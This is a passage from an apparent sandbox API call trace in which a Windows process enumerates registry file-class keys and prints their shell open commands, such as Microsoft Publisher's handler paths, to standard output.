| out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb1, lpName=0x2eef50, cchName=0x104 | out: lpName="PropVariantCollection.PropVariantCollection") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropVariantCollection.PropVariantCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb2, lpName=0x2eef50, cchName=0x104 | out: lpName="PropVariantCollection.PropVariantCollection.1") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropVariantCollection.PropVariantCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb3, lpName=0x2eef50, cchName=0x104 | out: lpName="PROTOCOLS") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PROTOCOLS\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb4, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.AnalogCable") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.AnalogCable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb5, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.AnalogCable.1") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.AnalogCable.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.501] SetLastError (dwErrCode=0x2) [0101.501] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb6, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.AtscPsipParser") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.AtscPsipParser\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb7, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.AtscPsipParser.1") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.AtscPsipParser.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb8, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.ATSCTerrestrial") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.ATSCTerrestrial\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb9, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.ATSCTerrestrial.1") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.ATSCTerrestrial.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbba, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.CDvb") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.CDvb\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbbb, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.CDvb.1") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.CDvb.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.502] SetLastError (dwErrCode=0x2) [0101.502] RegCloseKey (hKey=0x0) returned 0x6 [0101.502] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbbc, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.CIsdb") returned 0x0 [0101.502] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.CIsdb\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbbd, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.CIsdb.1") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.CIsdb.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbbe, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.DigitalCable") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.DigitalCable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbbf, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.DigitalCable.1") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.DigitalCable.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc0, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.DvbSiParser") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.DvbSiParser\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc1, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.DvbSiParser.1") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.DvbSiParser.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.503] SetLastError (dwErrCode=0x2) [0101.503] RegCloseKey (hKey=0x0) returned 0x6 [0101.503] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc2, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.PBDA") returned 0x0 [0101.503] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.PBDA\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc3, lpName=0x2eef50, cchName=0x104 | out: lpName="Psisdecd.PBDA.1") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Psisdecd.PBDA.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc4, lpName=0x2eef50, cchName=0x104 | out: lpName="PTRegTerminal.Class") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PTRegTerminal.Class\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc5, lpName=0x2eef50, cchName=0x104 | out: lpName="PTRegTerminalClass.Class") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PTRegTerminalClass.Class\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc6, lpName=0x2eef50, cchName=0x104 | out: lpName="PublishedApp") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PublishedApp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc7, lpName=0x2eef50, cchName=0x104 | out: lpName="Publisher.Application") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Publisher.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.504] RegCloseKey (hKey=0x0) returned 0x6 [0101.504] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc8, lpName=0x2eef50, cchName=0x104 | out: lpName="Publisher.Application.16") returned 0x0 [0101.504] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Publisher.Application.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.504] SetLastError (dwErrCode=0x2) [0101.505] RegCloseKey (hKey=0x0) returned 0x6 [0101.505] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc9, lpName=0x2eef50, cchName=0x104 | out: lpName="Publisher.Document") returned 0x0 [0101.505] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Publisher.Document\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.505] SetLastError (dwErrCode=0x2) [0101.505] RegCloseKey (hKey=0x0) returned 0x6 [0101.505] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbca, lpName=0x2eef50, cchName=0x104 | out: lpName="Publisher.Document.16") returned 0x0 [0101.505] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Publisher.Document.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.505] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x94) returned 0x0 [0101.505] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x94 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"", lpcbData=0x2eef20*=0x94) returned 0x0 [0101.505] RegCloseKey (hKey=0x64) returned 0x0 [0101.505] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n") returned 97 [0101.505] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.505] GetFileType (hFile=0x5c) returned 0x3 [0101.505] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98 [0101.505] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x61, lpOverlapped=0x0) returned 1 [0101.506] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbcb, lpName=0x2eef50, cchName=0x104 | out: lpName="Publisher.UriLink.16") returned 0x0 [0101.506] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Publisher.UriLink.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.506] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x92) returned 0x0 [0101.506] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x92 | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"", lpcbData=0x2eef20*=0x92) returned 0x0 [0101.506] RegCloseKey (hKey=0x64) returned 0x0 [0101.506] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 95 [0101.506] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.506] GetFileType (hFile=0x5c) returned 0x3 [0101.506] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.506] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.506] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbcc, lpName=0x2eef50, cchName=0x104 | out: lpName="publisherhtmlfile") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="publisherhtmlfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.507] RegCloseKey (hKey=0x0) returned 0x6 [0101.507] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbcd, lpName=0x2eef50, cchName=0x104 | out: lpName="publishermhtmlfile") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="publishermhtmlfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.507] RegCloseKey (hKey=0x0) returned 0x6 [0101.507] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbce, lpName=0x2eef50, cchName=0x104 | out: lpName="QC.DLQListener") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QC.DLQListener\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.507] RegCloseKey (hKey=0x0) returned 0x6 [0101.507] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbcf, lpName=0x2eef50, cchName=0x104 | out: lpName="QC.ListenerHelper") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QC.ListenerHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.507] RegCloseKey (hKey=0x0) returned 0x6 [0101.507] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd0, lpName=0x2eef50, cchName=0x104 | out: lpName="QC.MessageMover") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QC.MessageMover\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.507] RegCloseKey (hKey=0x0) returned 0x6 [0101.507] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd1, lpName=0x2eef50, cchName=0x104 | out: lpName="QC.MessageMover.1") returned 0x0 [0101.507] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QC.MessageMover.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.507] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.508] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd2, lpName=0x2eef50, cchName=0x104 | out: lpName="QC.Recorder") returned 0x0 [0101.508] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QC.Recorder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.508] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.508] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd3, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtAlphaSetter") returned 0x0 [0101.508] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtAlphaSetter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.508] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.508] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd4, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtAlphaSetter.1") returned 0x0 [0101.508] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtAlphaSetter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.508] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.508] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd5, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtCompositor") returned 0x0 [0101.508] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtCompositor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.508] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.508] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd6, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtCompositor.1") returned 0x0 [0101.508] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtCompositor.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.508] SetLastError (dwErrCode=0x2) [0101.508] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd7, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtJpeg") returned 0x0 [0101.509] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtJpeg\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.509] SetLastError (dwErrCode=0x2) [0101.509] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd8, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtJpeg.1") returned 0x0 [0101.509] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtJpeg.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.509] SetLastError (dwErrCode=0x2) [0101.509] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd9, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtJpegPP") returned 0x0 [0101.509] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtJpegPP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.509] SetLastError (dwErrCode=0x2) [0101.509] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbda, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtJpegPP.1") returned 0x0 [0101.509] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtJpegPP.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.509] SetLastError (dwErrCode=0x2) [0101.509] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbdb, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtKey") returned 0x0 [0101.509] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtKey\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.509] SetLastError (dwErrCode=0x2) [0101.509] RegCloseKey (hKey=0x0) returned 0x6 [0101.509] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbdc, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.DxtKey.1") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.DxtKey.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.510] SetLastError (dwErrCode=0x2) [0101.510] RegCloseKey (hKey=0x0) returned 0x6 [0101.510] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbdd, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.GrfCache") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.GrfCache\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.510] SetLastError (dwErrCode=0x2) [0101.510] RegCloseKey (hKey=0x0) returned 0x6 [0101.510] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbde, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.GrfCache.1") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.GrfCache.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.510] SetLastError (dwErrCode=0x2) [0101.510] RegCloseKey (hKey=0x0) returned 0x6 [0101.510] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbdf, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.MediaLocator") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.MediaLocator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.510] SetLastError (dwErrCode=0x2) [0101.510] RegCloseKey (hKey=0x0) returned 0x6 [0101.510] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe0, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.MediaLocator.1") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.MediaLocator.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.510] SetLastError (dwErrCode=0x2) [0101.510] RegCloseKey (hKey=0x0) returned 0x6 [0101.510] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe1, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.RenderEngine") returned 0x0 [0101.510] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.RenderEngine\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe2, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.RenderEngine.1") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.RenderEngine.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe3, lpName=0x2eef50, cchName=0x104 | out: 